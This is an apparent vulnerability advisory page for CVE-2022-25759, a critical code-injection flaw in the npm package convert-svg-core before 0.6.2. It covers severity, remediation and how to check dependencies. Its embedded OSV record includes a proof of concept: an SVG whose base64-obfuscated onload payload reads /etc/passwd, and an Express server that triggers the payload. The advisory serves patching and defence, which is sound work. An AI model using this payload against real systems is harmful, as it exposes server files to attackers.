CVE-2022-25759: Convert svg core Convert-svg-core Vulnerable To Remote Code Vulnerability
CRITICALCVE-2022-25759 is a CRITICAL (CVSS 9.8) convert-svg-core vulnerable to remote code vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Convert svg core libraries in the npm ecosystem. The issue involves convert-svg-core vulnerable to remote code injection. Remediation is available by upgrading affected packages to version 0.6.2.
CVE-2022-25759 at a Glance
Security Impact
CVSS: 9.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
How to Fix CVE-2022-25759
To remediate this vulnerability, upgrade all affected Convert svg core dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install convert-svg-core@0.6.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls convert-svg-core
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2022-25759, inspect your project dependencies using npm:
npm ls convert-svg-core
Analyze the terminal output to locate any version of Convert svg core in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.6.2), your application is affected.
Note: The npm ls convert-svg-core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Convert svg core, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2022-25759 Affected Convert svg core Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
convert-svg-core
|
npm |
< 0.6.2
|
0.6.2
|
References
Frequently Asked Questions
What is CVE-2022-25759?
Which Convert svg core versions are affected?
What version fixes CVE-2022-25759?
Is convert-svg-core affected?
What is the CVSS score of CVE-2022-25759?
What CWE is associated with CVE-2022-25759?
How can I check npm dependencies for CVE-2022-25759?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-5gxc-fxcr-9326",
"modified" : "2024-04-22T23:21:54Z",
"published" : "2022-07-23T00:00:16Z",
"aliases" : [ "CVE-2022-25759" ],
"summary" : "convert-svg-core vulnerable to remote code injection",
"details" : "The package convert-svg-core before 0.6.2 is vulnerable to Remote Code Injection via sending an SVG file containing the payload in an `onload` attribute. Puppeteer/Chromium (used by convert-svg-core) will execute any code within that tag, including malicious code.\n\n### PoC\n\n**Payload**\n\n```html\n<svg onload=eval(atob(this.id)) id='ZG9jdW1lbnQud3JpdGUoJzxzdmctZHVtbXk+PC9zdmctZHVtbXk+PGlmcmFtZSBzcmM9ImZpbGU6Ly8vZXRjL3Bhc3N3ZCIgd2lkdGg9IjEwMCUiIGhlaWdodD0iMTAwMHB4Ij48L2lmcmFtZT48c3ZnIHZpZXdCb3g9IjAgMCAyNDAgODAiIGhlaWdodD0iMTAwMCIgd2lkdGg9IjEwMDAiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+PHRleHQgeD0iMCIgeT0iMCIgY2xhc3M9IlJycnJyIiBpZD0iZGVtbyI+ZGF0YTwvdGV4dD48L3N2Zz4nKTs='></svg>\n```\nwhere the `id` attribute is the base 64-encoded form of \n\n```js\ndocument.write('<svg-dummy></svg-dummy><iframe src=\"file:///etc/passwd\" width=\"100%\" height=\"1000px\"></iframe><svg viewBox=\"0 0 240 80\" height=\"1000\" width=\"1000\" xmlns=\"http://www.w3.org/2000/svg\"><text x=\"0\" y=\"0\" class=\"Rrrrr\" id=\"demo\">data</text></svg>');\n```\n\n\n**Attack**\n\n```js\nconst { convert } = require('convert-svg-to-png');\nconst express = require('express');\nconst fileSvg = `[[[payload]]]`;\n// YWxlcnQoMSk=\n// function newContent(){document.open(),document.write('<text x=\\\"0\\\" y=\\\"0\\\" class=\\\"Rrrrr\\\" id=\\\"demo\\\">data</text>'),document.close()}\nconst app = express();\napp.get('/poc', async (req, res)=>{\n try {\n const png = await convert(fileSvg);\n res.set('Content-Type', 'image/png');\n res.send(png);\n } catch (e) {\n console.log(e);\n res.send(\"\");\n }\n});\napp.listen(3000, ()=>{\n console.log('started');\n});\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "convert-svg-core"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.6.2"
} ]
} ]
} ],
"references" : [ {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2022-25759"
}, {
"type" : "WEB",
"url" : "https://github.com/neocotic/convert-svg/issues/81"
}, {
"type" : "WEB",
"url" : "https://github.com/neocotic/convert-svg/pull/82"
}, {
"type" : "WEB",
"url" : "https://github.com/neocotic/convert-svg/commit/7e6031ac7427cf82cf312cb4a25040f2e6efe7a5"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/neocotic/convert-svg"
}, {
"type" : "WEB",
"url" : "https://security.snyk.io/vuln/SNYK-JS-CONVERTSVGCORE-2849633"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-94" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2024-04-22T23:21:54Z",
"nvd_published_at" : "2022-07-22T20:15:00Z"
}
}